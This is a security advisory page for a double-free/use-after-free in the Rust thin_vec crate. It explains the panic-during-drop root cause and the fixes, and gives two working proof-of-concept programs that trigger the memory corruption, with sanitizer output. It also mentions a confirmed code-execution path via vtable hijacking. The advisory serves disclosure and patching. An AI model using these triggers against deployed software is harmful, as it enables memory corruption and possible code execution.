Vulnerability DatabaseGHSA-xphw-cqx3-667j

GHSA-xphw-cqx3-667j
Rust vulnerability analysis and mitigation

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — IntoIter::drop

Location: thin-vec/src/lib.rs L.2308~2314 IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — ThinVec::clear

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Both vulnerabilities can be resolved with the same pattern: - DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic - Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"


# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: IntoIter::drop

use thin_vec::ThinVec;
struct PanicBomb(String);
impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}
fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));
    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling
stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: ThinVec::clear

use thin_vec::ThinVec;
use std::panic;
struct Poison(Box<usize>, &'static str);
impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}
fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2
    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Affected code: All code satisfying the following conditions simultaneously:

  1. ThinVec stores heap-owning types (String, Vec, Box, etc.)
  2. (Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
  3. The Drop implementation of a remaining element triggers a panicAdditionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

SourceNVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40323HIGH8.9
  • RustRust
  • sp1_prover
NoYesApr 14, 2026
GHSA-xphw-cqx3-667jHIGH7.3
  • RustRust
  • thin-vec
NoYesApr 15, 2026
CVE-2026-34069MEDIUM5.3
  • RustRust
  • nimiq-consensus
NoNoApr 14, 2026
GHSA-cq8v-f236-94qcLOWN/A
  • RustRust
  • rand
NoYesApr 14, 2026
RUSTSEC-2026-0099N/AN/A
  • RustRust
  • rustls-webpki
NoYesApr 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management